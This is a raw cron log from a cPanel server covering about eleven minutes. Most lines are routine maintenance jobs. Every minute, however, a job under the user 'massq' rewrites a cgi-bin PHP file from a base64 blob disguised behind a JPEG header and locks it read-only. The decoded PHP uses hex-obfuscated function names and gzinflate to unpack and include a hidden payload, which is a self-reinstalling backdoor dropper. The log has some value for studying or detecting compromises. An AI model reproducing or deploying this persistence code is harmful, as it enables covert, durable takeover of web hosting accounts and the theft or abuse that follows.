Sep  3 01:19:01 server CROND[26243]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 01:19:01 server CROND[26244]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 01:19:01 server CROND[26245]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 01:20:01 server CROND[26620]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 01:20:01 server CROND[26621]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 01:20:01 server CROND[26623]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 01:20:01 server CROND[26637]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 01:20:01 server CROND[26636]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 01:20:01 server CROND[26642]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 01:20:01 server CROND[26639]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 01:20:01 server CROND[26640]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 01:20:01 server CROND[26641]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 01:21:01 server CROND[27548]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 01:21:01 server CROND[27549]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 01:21:01 server CROND[27550]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 01:22:01 server CROND[27915]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 01:22:01 server CROND[27916]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 01:22:01 server CROND[27917]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 01:23:01 server CROND[28288]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 01:23:01 server CROND[28289]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 01:23:01 server CROND[28290]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 01:24:01 server CROND[28663]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 01:24:01 server CROND[28665]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 01:24:01 server CROND[28664]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 01:25:01 server CROND[29044]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 01:25:01 server CROND[29052]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 01:25:01 server CROND[29053]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 01:25:01 server CROND[29054]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 01:25:01 server CROND[29055]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 01:25:01 server CROND[29059]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 01:25:01 server CROND[29057]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 01:26:01 server CROND[30032]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 01:26:01 server CROND[30033]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 01:26:01 server CROND[30034]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 01:27:01 server CROND[30406]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 01:27:01 server CROND[30407]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 01:27:01 server CROND[30408]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 01:27:01 server CROND[30409]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 01:28:01 server CROND[30785]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 01:28:01 server CROND[30786]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 01:28:01 server CROND[30787]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 01:29:01 server CROND[31148]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 01:29:01 server CROND[31149]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 01:29:01 server CROND[31147]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 01:30:01 server CROND[31526]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 01:30:01 server CROND[31529]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 01:30:01 server CROND[31528]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 01:30:01 server CROND[31533]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 01:30:01 server CROND[31537]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 01:30:01 server CROND[31539]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 01:30:01 server CROND[31541]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
